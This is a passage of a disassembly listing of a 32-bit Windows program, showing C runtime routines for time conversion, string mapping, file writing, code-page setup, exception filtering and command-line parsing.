sub_4101B6+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41589E cmp ebx, 8Ah jg loc_41589E push esi push edi mov edi, [ebp+arg_4] mov esi, dword_424B5C[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_415821 cmp edi, 2 jle short loc_415821 inc esi loc_415821: ; CODE XREF: sub_4157E2+37j ; sub_4157E2+3Cj call sub_417AE0 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_424A78 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_415894 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41589A cmp dword_424A7C, 0 jz short loc_41589A lea eax, [ebp+var_24] push eax call sub_417D53 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41589A loc_415894: ; CODE XREF: sub_4157E2+90j add ecx, dword_424A80 loc_41589A: ; CODE XREF: sub_4157E2+96j ; sub_4157E2+9Fj ... mov eax, ecx jmp short loc_4158A1 ; --------------------------------------------------------------------------- loc_41589E: ; CODE XREF: sub_4157E2+13j ; sub_4157E2+1Fj or eax, 0FFFFFFFFh loc_4158A1: ; CODE XREF: sub_4157E2+BAj pop ebx leave retn sub_4157E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4158A4 proc near ; CODE XREF: sub_410320+A3p ; sub_414DBA+A5p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_41A508 push offset sub_416728 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4BA308, edi jnz short loc_41591A push edi push edi push 1 pop ebx push ebx push offset dword_41A500 mov esi, 100h push esi push edi call dword_41A050 ; LCMapStringW test eax, eax jz short loc_4158F8 mov dword_4BA308, ebx jmp short loc_41591A ; --------------------------------------------------------------------------- loc_4158F8: ; CODE XREF: sub_4158A4+4Aj push edi push edi push ebx push offset dword_424F04 push esi push edi call dword_41A054 ; LCMapStringA test eax, eax jz loc_415A32 mov dword_4BA308, 2 loc_41591A: ; CODE XREF: sub_4158A4+2Ej ; sub_4158A4+52j cmp [ebp+arg_C], edi jle short loc_41592F push [ebp+arg_C] push [ebp+arg_8] call sub_415AC8 pop ecx pop ecx mov [ebp+arg_C], eax loc_41592F: ; CODE XREF: sub_4158A4+79j mov eax, dword_4BA308 cmp eax, 2 jnz short loc_415956 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41A054 ; LCMapStringA jmp loc_415A34 ; --------------------------------------------------------------------------- loc_415956: ; CODE XREF: sub_4158A4+93j cmp eax, 1 jnz loc_415A32 cmp [ebp+arg_18], edi jnz short loc_41596C mov eax, dword_4BA324 mov [ebp+arg_18], eax loc_41596C: ; CODE XREF: sub_4158A4+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] call dword_41A064 ; MultiByteToWideChar mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_415A32 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_40EC80 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4159C7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_4159C7: ; CODE XREF: sub_4158A4+10Ej cmp [ebp+var_24], edi jz short loc_415A32 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call dword_41A064 ; MultiByteToWideChar test eax, eax jz short loc_415A32 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_41A050 ; LCMapStringW mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_415A32 test byte ptr [ebp+arg_4+1], 4 jz short loc_415A46 cmp [ebp+arg_14], edi jz loc_415AC1 cmp esi, [ebp+arg_14] jg short loc_415A32 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_41A050 ; LCMapStringW test eax, eax jnz loc_415AC1 loc_415A32: ; CODE XREF: sub_4158A4+66j ; sub_4158A4+B5j ... xor eax, eax loc_415A34: ; CODE XREF: sub_4158A4+ADj ; sub_4158A4+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_415A46: ; CODE XREF: sub_4158A4+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_40EC80 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_415A7A ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_415A7A: ; CODE XREF: sub_4158A4+1C2j cmp ebx, edi jz short loc_415A32 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call dword_41A050 ; LCMapStringW test eax, eax jz short loc_415A32 cmp [ebp+arg_14], edi push edi push edi jnz short loc_415AA1 push edi push edi jmp short loc_415AA7 ; --------------------------------------------------------------------------- loc_415AA1: ; CODE XREF: sub_4158A4+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_415AA7: ; CODE XREF: sub_4158A4+1FBj push esi push ebx push 220h push [ebp+arg_18] call dword_41A058 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz loc_415A32 loc_415AC1: ; CODE XREF: sub_4158A4+165j ; sub_4158A4+188j mov eax, esi jmp loc_415A34 sub_4158A4 endp ; =============== S U B R O U T I N E ======================================= sub_415AC8 proc near ; CODE XREF: sub_4158A4+81p ; sub_41920C+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_415AE5 loc_415AD8: ; CODE XREF: sub_415AC8+1Bj cmp byte ptr [eax], 0 jz short loc_415AE5 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_415AD8 loc_415AE5: ; CODE XREF: sub_415AC8+Ej ; sub_415AC8+13j cmp byte ptr [eax], 0 pop esi jnz short loc_415AF0 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_415AF0: ; CODE XREF: sub_415AC8+21j mov eax, edx retn sub_415AC8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AF3 proc near ; CODE XREF: sub_410487+A2p ; sub_410C9B+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4BB8C0 push esi push edi jnb loc_415C87 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4BB7C0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_415C87 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_415B44 loc_415B3D: ; CODE XREF: sub_415AF3+177j xor eax, eax jmp loc_415C9B ; --------------------------------------------------------------------------- loc_415B44: ; CODE XREF: sub_415AF3+48j test al, 20h jz short loc_415B54 push 2 push edi push ecx call sub_415560 add esp, 0Ch loc_415B54: ; CODE XREF: sub_415AF3+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_415C23 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_415C5B loc_415B74: ; CODE XREF: sub_415AF3+F5j lea eax, [ebp+var_414] loc_415B7A: ; CODE XREF: sub_415AF3+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_415BAE mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_415B99 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_415B99: ; CODE XREF: sub_415AF3+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_415B7A loc_415BAE: ; CODE XREF: sub_415AF3+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_41A06C ; WriteFile test eax, eax jz short loc_415C18 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_415BEA mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_415B74 loc_415BEA: ; CODE XREF: sub_415AF3+EAj ; sub_415AF3+12Ej xor edi, edi loc_415BEC: ; CODE XREF: sub_415AF3+150j ; sub_415AF3+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_415C82 cmp [ebp+arg_0], edi jz short loc_415C5B push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_415C50 mov dword_4BA284, 9 mov dword_4BA288, eax jmp loc_415C98 ; --------------------------------------------------------------------------- loc_415C18: ; CODE XREF: sub_415AF3+E0j call dword_41A07C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_415BEA ; --------------------------------------------------------------------------- loc_415C23: ; CODE XREF: sub_415AF3+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_41A06C ; WriteFile test eax, eax jz short loc_415C45 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_415BEC ; --------------------------------------------------------------------------- loc_415C45: ; CODE XREF: sub_415AF3+145j call dword_41A07C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_415BEC ; --------------------------------------------------------------------------- loc_415C50: ; CODE XREF: sub_415AF3+10Fj push [ebp+arg_0] call sub_4175A6 pop ecx jmp short loc_415C98 ; --------------------------------------------------------------------------- loc_415C5B: ; CODE XREF: sub_415AF3+7Bj ; sub_415AF3+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_415C70 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_415B3D loc_415C70: ; CODE XREF: sub_415AF3+16Fj mov dword_4BA284, 1Ch mov dword_4BA288, edi jmp short loc_415C98 ; --------------------------------------------------------------------------- loc_415C82: ; CODE XREF: sub_415AF3+FEj sub eax, [ebp+var_10] jmp short loc_415C9B ; --------------------------------------------------------------------------- loc_415C87: ; CODE XREF: sub_415AF3+15j ; sub_415AF3+37j and dword_4BA288, 0 mov dword_4BA284, 9 loc_415C98: ; CODE XREF: sub_415AF3+120j ; sub_415AF3+166j ... or eax, 0FFFFFFFFh loc_415C9B: ; CODE XREF: sub_415AF3+4Cj ; sub_415AF3+192j pop edi pop esi pop ebx leave retn sub_415AF3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CA0 proc near ; CODE XREF: sub_416064+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_415E39 ; GetOEMCP mov esi, eax pop ecx cmp esi, dword_4BB584 mov [ebp+arg_0], esi jz loc_415E2D xor ebx, ebx cmp esi, ebx jz loc_415E23 xor edx, edx mov eax, offset dword_424450 loc_415CD4: ; CODE XREF: sub_415CA0+41j cmp [eax], esi jz short loc_415D4A add eax, 30h inc edx cmp eax, offset dword_424540 jl short loc_415CD4 lea eax, [ebp+var_18] push eax push esi call dword_41A04C ; GetCPInfo cmp eax, 1 jnz loc_415E1B push 40h xor eax, eax pop ecx mov edi, offset byte_4BB6A0 cmp [ebp+var_18], 1 mov dword_4BB584, esi rep stosd stosb mov dword_4BB7A4, ebx jbe loc_415E09 cmp [ebp+var_12], 0 jz loc_415DDF lea ecx, [ebp+var_11] loc_415D27: ; CODE XREF: sub_415CA0+139j mov dl, [ecx] test dl, dl jz loc_415DDF movzx eax, byte ptr [ecx-1] movzx edx, dl loc_415D38: ; CODE XREF: sub_415CA0+A8j cmp eax, edx ja loc_415DD3 or byte_4BB6A1[eax], 4 inc eax jmp short loc_415D38 ; --------------------------------------------------------------------------- loc_415D4A: ; CODE XREF: sub_415CA0+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4BB6A0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_424460[esi] loc_415D66: ; CODE XREF: sub_415CA0+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_415D99 loc_415D6D: ; CODE XREF: sub_415CA0+F7j mov dl, [ecx+1] test dl, dl jz short loc_415D99 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_415D92 mov edx, [ebp+var_4] mov dl, byte_424448[edx] loc_415D87: ; CODE XREF: sub_415CA0+F0j or byte_4BB6A1[eax], dl inc eax cmp eax, edi jbe short loc_415D87 loc_415D92: ; CODE XREF: sub_415CA0+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_415D6D loc_415D99: ; CODE XREF: sub_415CA0+CBj ; sub_415CA0+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_415D66 mov eax, [ebp+arg_0] mov dword_4BB59C, 1 push eax mov dword_4BB584, eax call sub_415E83 lea esi, dword_424454[esi] mov edi, offset dword_4BB590 movsd movsd pop ecx mov dword_4BB7A4, eax movsd jmp short loc_415E28 ; --------------------------------------------------------------------------- loc_415DD3: ; CODE XREF: sub_415CA0+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_415D27 loc_415DDF: ; CODE XREF: sub_415CA0+7Ej ; sub_415CA0+8Bj push 1 pop eax loc_415DE2: ; CODE XREF: sub_415CA0+14Fj or byte_4BB6A1[eax], 8 inc eax cmp eax, 0FFh jb short loc_415DE2 push esi call sub_415E83 pop ecx mov dword_4BB7A4, eax mov dword_4BB59C, 1 jmp short loc_415E0F ; --------------------------------------------------------------------------- loc_415E09: ; CODE XREF: sub_415CA0+74j mov dword_4BB59C, ebx loc_415E0F: ; CODE XREF: sub_415CA0+167j xor eax, eax mov edi, offset dword_4BB590 stosd stosd stosd jmp short loc_415E28 ; --------------------------------------------------------------------------- loc_415E1B: ; CODE XREF: sub_415CA0+51j cmp dword_4BA32C, ebx jz short loc_415E31 loc_415E23: ; CODE XREF: sub_415CA0+27j call sub_415EB6 loc_415E28: ; CODE XREF: sub_415CA0+131j ; sub_415CA0+179j call sub_415EDF loc_415E2D: ; CODE XREF: sub_415CA0+1Dj xor eax, eax jmp short loc_415E34 ; --------------------------------------------------------------------------- loc_415E31: ; CODE XREF: sub_415CA0+181j or eax, 0FFFFFFFFh loc_415E34: ; CODE XREF: sub_415CA0+18Fj pop edi pop esi pop ebx leave retn sub_415CA0 endp ; =============== S U B R O U T I N E ======================================= sub_415E39 proc near ; CODE XREF: sub_415CA0+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4BA32C, 0 cmp eax, 0FFFFFFFEh jnz short loc_415E59 mov dword_4BA32C, 1 jmp dword_41A044 ; --------------------------------------------------------------------------- loc_415E59: ; CODE XREF: sub_415E39+Ej cmp eax, 0FFFFFFFDh jnz short loc_415E6E mov dword_4BA32C, 1 jmp dword_41A048 ; --------------------------------------------------------------------------- loc_415E6E: ; CODE XREF: sub_415E39+23j cmp eax, 0FFFFFFFCh jnz short locret_415E82 mov eax, dword_4BA324 mov dword_4BA32C, 1 locret_415E82: ; CODE XREF: sub_415E39+38j retn sub_415E39 endp ; =============== S U B R O U T I N E ======================================= sub_415E83 proc near ; CODE XREF: sub_415CA0+118p ; sub_415CA0+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_415EB0 sub eax, 4 jz short loc_415EAA sub eax, 0Dh jz short loc_415EA4 dec eax jz short loc_415E9E xor eax, eax retn ; --------------------------------------------------------------------------- loc_415E9E: ; CODE XREF: sub_415E83+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_415EA4: ; CODE XREF: sub_415E83+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_415EAA: ; CODE XREF: sub_415E83+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_415EB0: ; CODE XREF: sub_415E83+9j mov eax, 411h retn sub_415E83 endp ; =============== S U B R O U T I N E ======================================= sub_415EB6 proc near ; CODE XREF: sub_415CA0:loc_415E23p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4BB6A0 rep stosd stosb xor eax, eax mov edi, offset dword_4BB590 mov dword_4BB584, eax mov dword_4BB59C, eax mov dword_4BB7A4, eax stosd stosd stosd pop edi retn sub_415EB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EDF proc near ; CODE XREF: sub_415CA0:loc_415E28p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4BB584 call dword_41A04C ; GetCPInfo cmp eax, 1 jnz loc_416018 xor eax, eax mov esi, 100h loc_415F09: ; CODE XREF: sub_415EDF+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_415F09 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_415F5A push ebx push edi lea edx, [ebp+var_D] loc_415F28: ; CODE XREF: sub_415EDF+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_415F4F sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_415F4F: ; CODE XREF: sub_415EDF+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_415F28 pop edi pop ebx loc_415F5A: ; CODE XREF: sub_415EDF+42j push 0 lea eax, [ebp+var_514] push dword_4BB7A4 push dword_4BB584 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_41745D push 0 lea eax, [ebp+var_214] push dword_4BB584 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4BB7A4 call sub_4158A4 push 0 lea eax, [ebp+var_314] push dword_4BB584 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4BB7A4 call sub_4158A4 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_415FD5: ; CODE XREF: sub_415EDF+135j mov dx, [ecx] test dl, 1 jz short loc_415FF3 or byte_4BB6A1[eax], 10h mov dl, [ebp+eax+var_214] loc_415FEB: ; CODE XREF: sub_415EDF+127j mov byte_4BB5A0[eax], dl jmp short loc_41600F ; --------------------------------------------------------------------------- loc_415FF3: ; CODE XREF: sub_415EDF+FCj test dl, 2 jz short loc_416008 or byte_4BB6A1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_415FEB ; --------------------------------------------------------------------------- loc_416008: ; CODE XREF: sub_415EDF+117j and byte_4BB5A0[eax], 0 loc_41600F: ; CODE XREF: sub_415EDF+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_415FD5 jmp short loc_416061 ; --------------------------------------------------------------------------- loc_416018: ; CODE XREF: sub_415EDF+1Dj xor eax, eax mov esi, 100h loc_41601F: ; CODE XREF: sub_415EDF+180j cmp eax, 41h jb short loc_41603D cmp eax, 5Ah ja short loc_41603D or byte_4BB6A1[eax], 10h mov cl, al add cl, 20h loc_416035: ; CODE XREF: sub_415EDF+174j mov byte_4BB5A0[eax], cl jmp short loc_41605C ; --------------------------------------------------------------------------- loc_41603D: ; CODE XREF: sub_415EDF+143j ; sub_415EDF+148j cmp eax, 61h jb short loc_416055 cmp eax, 7Ah ja short loc_416055 or byte_4BB6A1[eax], 20h mov cl, al sub cl, 20h jmp short loc_416035 ; --------------------------------------------------------------------------- loc_416055: ; CODE XREF: sub_415EDF+161j ; sub_415EDF+166j and byte_4BB5A0[eax], 0 loc_41605C: ; CODE XREF: sub_415EDF+15Cj inc eax cmp eax, esi jb short loc_41601F loc_416061: ; CODE XREF: sub_415EDF+137j pop esi leave retn sub_415EDF endp ; =============== S U B R O U T I N E ======================================= sub_416064 proc near ; CODE XREF: sub_41628E+9p ; sub_4162E6+Dp ... cmp dword_4BB8F0, 0 jnz short locret_41607F push 0FFFFFFFDh call sub_415CA0 pop ecx mov dword_4BB8F0, 1 locret_41607F: ; CODE XREF: sub_416064+7j retn sub_416064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416080 proc near ; CODE XREF: sub_41090E+2Bp ; sub_41090E+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4BB59C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4160A4 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_410090 add esp, 0Ch jmp short loc_416107 ; --------------------------------------------------------------------------- loc_4160A4: ; CODE XREF: sub_416080+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4160E9 mov ecx, [ebp+arg_4] loc_4160AF: ; CODE XREF: sub_416080+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4BB6A1[esi], 4 mov [edi], al jz short loc_4160D3 inc edi inc ecx test edx, edx jz short loc_4160DF mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4160E5 jmp short loc_4160D9 ; --------------------------------------------------------------------------- loc_4160D3: ; CODE XREF: sub_416080+3Ej inc edi inc ecx test al, al jz short loc_4160E9 loc_4160D9: ; CODE XREF: sub_416080+51j test edx, edx jnz short loc_4160AF jmp short loc_4160E9 ; --------------------------------------------------------------------------- loc_4160DF: ; CODE XREF: sub_416080+44j and byte ptr [edi-1], 0 jmp short loc_4160E9 ; --------------------------------------------------------------------------- loc_4160E5: ; CODE XREF: sub_416080+4Fj and byte ptr [edi-2], 0 loc_4160E9: ; CODE XREF: sub_416080+2Aj ; sub_416080+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_416104 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_416104: ; CODE XREF: sub_416080+6Fj mov eax, [ebp+arg_0] loc_416107: ; CODE XREF: sub_416080+22j pop edi pop ebp retn sub_416080 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41610A proc near ; CODE XREF: sub_410B5C+E3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_41624B test eax, eax pop ecx jz loc_41623F mov ebx, [eax+8] test ebx, ebx jz loc_41623F cmp ebx, 5 jnz short loc_41613B and dword ptr [eax+8], 0 push 1 pop eax jmp loc_416248 ; --------------------------------------------------------------------------- loc_41613B: ; CODE XREF: sub_41610A+23j cmp ebx, 1 jz loc_41623A mov ecx, dword_4BA330 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_4BA330, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41622A mov ecx, dword_4245B8 mov edx, dword_4245BC add edx, ecx push esi cmp ecx, edx jge short loc_41618A lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:424548h[esi*4] loc_416181: ; CODE XREF: sub_41610A+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_416181 loc_41618A: ; CODE XREF: sub_41610A+69j mov eax, [eax] mov esi, dword_4245C4 cmp eax, 0C000008Eh jnz short loc_4161A5 mov dword_4245C4, 83h jmp short loc_416215 ; --------------------------------------------------------------------------- loc_4161A5: ; CODE XREF: sub_41610A+8Dj cmp eax, 0C0000090h jnz short loc_4161B8 mov dword_4245C4, 81h jmp short loc_416215 ; --------------------------------------------------------------------------- loc_4161B8: ; CODE XREF: sub_41610A+A0j cmp eax, 0C0000091h jnz short loc_4161CB mov dword_4245C4, 84h jmp short loc_416215 ; --------------------------------------------------------------------------- loc_4161CB: ; CODE XREF: sub_41610A+B3j cmp eax, 0C0000093h jnz short loc_4161DE mov dword_4245C4, 85h jmp short loc_416215 ; --------------------------------------------------------------------------- loc_4161DE: ; CODE XREF: sub_41610A+C6j cmp eax, 0C000008Dh jnz short loc_4161F1 mov dword_4245C4, 82h jmp short loc_416215 ; --------------------------------------------------------------------------- loc_4161F1: ; CODE XREF: sub_41610A+D9j cmp eax, 0C000008Fh jnz short loc_416204 mov dword_4245C4, 86h jmp short loc_416215 ; --------------------------------------------------------------------------- loc_416204: ; CODE XREF: sub_41610A+ECj cmp eax, 0C0000092h jnz short loc_416215 mov dword_4245C4, 8Ah loc_416215: ; CODE XREF: sub_41610A+99j ; sub_41610A+ACj ... push dword_4245C4 push 8 call ebx pop ecx mov dword_4245C4, esi pop ecx pop esi jmp short loc_416232 ; --------------------------------------------------------------------------- loc_41622A: ; CODE XREF: sub_41610A+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_416232: ; CODE XREF: sub_41610A+11Ej mov eax, [ebp+arg_0] mov dword_4BA330, eax loc_41623A: ; CODE XREF: sub_41610A+34j or eax, 0FFFFFFFFh jmp short loc_416248 ; --------------------------------------------------------------------------- loc_41623F: ; CODE XREF: sub_41610A+Fj ; sub_41610A+1Aj push [ebp+arg_4] call dword_41A040 ; UnhandledExceptionFilter loc_416248: ; CODE XREF: sub_41610A+2Cj ; sub_41610A+133j pop ebx pop ebp retn sub_41610A endp ; =============== S U B R O U T I N E ======================================= sub_41624B proc near ; CODE XREF: sub_41610A+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4245C0 cmp dword_424540, edx push esi mov eax, offset dword_424540 jz short loc_416278 lea esi, [ecx+ecx*2] lea esi, ds:424540h[esi*4] loc_41626D: ; CODE XREF: sub_41624B+2Bj add eax, 0Ch cmp eax, esi jnb short loc_416278 cmp [eax], edx jnz short loc_41626D loc_416278: ; CODE XREF: sub_41624B+16j ; sub_41624B+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:424540h[ecx*4] cmp eax, ecx jnb short loc_41628B cmp [eax], edx jz short locret_41628D loc_41628B: ; CODE XREF: sub_41624B+3Aj xor eax, eax locret_41628D: ; CODE XREF: sub_41624B+3Ej retn sub_41624B endp ; =============== S U B R O U T I N E ======================================= sub_41628E proc near ; CODE XREF: sub_410B5C+A5p cmp dword_4BB8F0, 0 jnz short loc_41629C call sub_416064 loc_41629C: ; CODE XREF: sub_41628E+7j push esi mov esi, dword_4BB8E8 mov al, [esi] cmp al, 22h jnz short loc_4162CE loc_4162A9: ; CODE XREF: sub_41628E+33j ; sub_41628E+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_4162C6 test al, al jz short loc_4162C6 movzx eax, al push eax call sub_41803F test eax, eax pop ecx jz short loc_4162A9 inc esi jmp short loc_4162A9 ; --------------------------------------------------------------------------- loc_4162C6: ; CODE XREF: sub_41628E+21j ; sub_41628E+25j cmp byte ptr [esi], 22h jnz short loc_4162D8 loc_4162CB: ; CODE XREF: sub_41628E+52j inc esi jmp short loc_4162D8 ; --------------------------------------------------------------------------- loc_4162CE: ; CODE XREF: sub_41628E+19j cmp al, 20h jbe short loc_4162D8 loc_4162D2: ; CODE XREF: sub_41628E+48j inc esi cmp byte ptr [esi], 20h ja short loc_4162D2 loc_4162D8: ; CODE XREF: sub_41628E+3Bj ; sub_41628E+3Ej ... mov al, [esi] test al, al jz short loc_4162E2 cmp al, 20h jbe short loc_4162CB loc_4162E2: ; CODE XREF: sub_41628E+4Ej mov eax, esi pop esi retn sub_41628E endp ; =============== S U B R O U T I N E ======================================= sub_4162E6 proc 